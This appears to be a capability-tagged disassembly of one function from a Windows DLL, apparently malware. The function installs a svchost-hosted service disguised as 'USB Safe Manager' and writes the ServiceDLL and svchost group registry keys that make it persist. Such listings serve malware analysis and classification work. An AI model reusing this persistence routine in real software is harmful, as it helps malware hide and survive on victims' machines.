Function at 0x10001ee0
Capabilities:
Create service
Modify service
Persist via windows service
Query or enumerate registry value
Query service status
Set registry value

Disassembly:
sub esp, 0x460
push ebx
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
xor ebx, ebx
push edi
push 0xf003f
push ebx
push ebx
mov dword [esp + 0x28], ebx
call esi
mov edi, eax
test edi, edi
jne 0x10001f1c
push 1
push eax
push eax
call esi
mov edi, eax
test edi, edi
jne 0x10001f1c
pop edi
pop esi
mov eax, ebx
pop ebx
add esp, 0x460
ret
push ebp
push 0xf01ff
push str.USBSafeManager
push edi
mov dword [esp + 0x1c], ebx
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov ebx, dword [sym.imp.SHLWAPI.dll_wnsprintfA]
mov esi, eax
mov ebp, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test esi, esi
jne 0x100022cd
cmp dword [0x1000d47c], 0
je 0x10002414
push dword [0x1000d474]
lea eax, [esp + 0x168]
push str.USBSafeManagerGrp
push str.svchost
push str.__SYSTEMROOT___system32_s.exe__k___s___svcr___s_
push 0x30b
push eax
call ebx
add esp, 0x18
mov dword [esp + 0x14], eax
lea eax, [esp + 0x164]
push 0
push 0
push 0
push 0
push 0
push eax
push 0
push 2
push 0x20
push 0xf01ff
push str.USB_Safe_Manager
push str.USBSafeManager
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov esi, eax
test esi, esi
je 0x10002414
lea eax, [esp + 0x38]
mov dword [esp + 0x38], 1
mov dword [esp + 0x34], eax
lea eax, [esp + 0x24]
push eax
push 2
push esi
mov dword [esp + 0x48], 0x2710
mov dword [esp + 0x4c], 1
mov dword [esp + 0x50], 0x2710
mov dword [esp + 0x54], 1
mov dword [esp + 0x58], 0x2710
mov dword [esp + 0x30], 0
mov dword [esp + 0x38], 0
mov dword [esp + 0x34], 0
mov dword [esp + 0x3c], 3
call dword [sym.imp.ADVAPI32.dll_ChangeServiceConfig2A]
push 0x10009390
push 0
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
push str._s_s_c_s
lea eax, [esp + 0x70]
push 0x104
push eax
call ebx
add esp, 0x1c
lea eax, [esp + 0x10]
push 0
push eax
push 0
push 0xf023f
push 0
push 0
push 0
lea eax, [esp + 0x78]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10002095
push str.USBSafeManager
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.USBSafeManager
push 7
push 0
push str.USBSafeManagerGrp
push dword [esp + 0x24]
call ebp
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.USBSafeManagerGrp
push 0x5c
push str.svchost
push str.SoftwareMicrosoftWindows_NTCurrentVersion
push str._s_s_c_s
lea eax, [esp + 0x70]
push 0x104
push eax
call ebx
add esp, 0x1c
lea eax, [esp + 0x10]
push 0
push eax
push 0
push 0xf023f
push 0
push 0
push 0
lea eax, [esp + 0x78]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x10002141
mov eax, dword [esp + 0x10]
mov dword [esp + 0x20], eax
lea eax, [esp + 0x20]
push 4
push eax
push 0
call fcn.10001240
add esp, 0xc
mov dword [esp + 0x18], 0x2000
lea eax, [esp + 0x18]
push 4
push eax
push 4
push 0
push str.AuthenticationCapabilities
push dword [esp + 0x24]
call ebp
push 4
lea eax, [esp + 0x20]
mov dword [esp + 0x20], 1
push eax
push 4
push 0
push str.CoInitializeSecurityParam
push dword [esp + 0x24]
call ebp
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push str.Parameters
push str.USBSafeManager
push str.Services_
push str.SYSTEMCurrentControlSet_s_s_s
lea eax, [esp + 0x6c]
push 0x104
push eax
call ebx
add esp, 0x18
lea eax, [esp + 0x10]
push 0
push eax
push 0
push 0xf023f
push 0
push 0
push 0
lea eax, [esp + 0x78]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1000222a
mov eax, dword [esp + 0x10]
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x1c]
push 4
push eax
push 0
call fcn.10001240
mov eax, dword [0x1000d464]
add esp, 0xc
inc eax
push eax
push dword [0x1000d45c]
push 2
push 0
push str.ServiceDLL
push dword [esp + 0x24]
call ebp
mov eax, dword [esp + 0x14]
inc eax
push eax
lea eax, [esp + 0x168]
push eax
push 2
push 0
push str.ImagePath
push dword [esp + 0x24]
call ebp
push 0x100094e4
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x100094e4
push 1
push 0
push str.ServiceMain
push dword [esp + 0x24]
call ebp
push 4
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], 0
push eax
push 4
push 0
push str.ServiceDllUnloadOnStop
push dword [esp + 0x24]
call ebp
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x10009390
push str.USBSafeManager
push str.Services_
push str.SYSTEMCurrentControlSet_s_s_s
lea eax, [esp + 0x6c]
push 0x104
push eax
call ebx
add esp, 0x18
lea eax, [esp + 0x10]
push 0
push eax
push 0
push 0xf023f
push 0
push 0
push 0
lea eax, [esp + 0x78]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x100022b8
mov eax, dword [esp + 0x10]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push 4
push eax
push 0
call fcn.10001240
add esp, 0xc
push 0x100094e4
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push 0x100094e4
push 1
push 0
push str.ServiceMain
push dword [esp + 0x24]
call ebp
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 2
lea eax, [esp + 0x18]
mov dword [esp + 0x18], esi
push eax
push 0
call fcn.10001240
add esp, 0xc
push str.Parameters
push str.USBSafeManager
push str.Services_
push str.SYSTEMCurrentControlSet_s_s_s
lea eax, [esp + 0x6c]
mov dword [esp + 0x30], 1
push 0x104
push eax
call ebx
add esp, 0x18
lea eax, [esp + 0x10]
push 0
push eax
push 0
push 0xf023f
push 0
push 0
push 0
lea eax, [esp + 0x78]
push eax
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x1000239e
push 0x105
lea eax, [esp + 0x60]
push eax
call sub.NTDLL.dll_RtlZeroMemory
lea eax, [esp + 0x14]
mov dword [esp + 0x14], 0x105
push eax
lea eax, [esp + 0x60]
mov dword [esp + 0x20], 2
push eax
lea eax, [esp + 0x24]
push eax
push 0
push str.ServiceDLL
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x10002378
push dword [0x1000d45c]
lea eax, [esp + 0x60]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x10002394
mov eax, dword [0x1000d464]
inc eax
push eax
push dword [0x1000d45c]
push 2
push 0
push str.ServiceDLL
push dword [esp + 0x24]
call ebp
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x24
lea eax, [esp + 0x3c]
push eax
call sub.NTDLL.dll_RtlZeroMemory
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0
push eax
push 0x24
lea eax, [esp + 0x40]
push eax
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x100023d2
cmp dword [esp + 0x3c], 4
je 0x100023f9
cmp dword [0x1000d47c], 0
je 0x100023ec
push 1
lea eax, [esp + 0x18]
mov dword [esp + 0x18], 0x10009514
push eax
jmp 0x100023f0
push 0
push 0
push esi
call fcn.10006c60
add esp, 0xc
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
mov eax, dword [esp + 0x20]
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x460
ret
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push edi
call esi
mov eax, dword [esp + 0x20]
pop ebp
pop edi
pop esi
pop ebx
add esp, 0x460
ret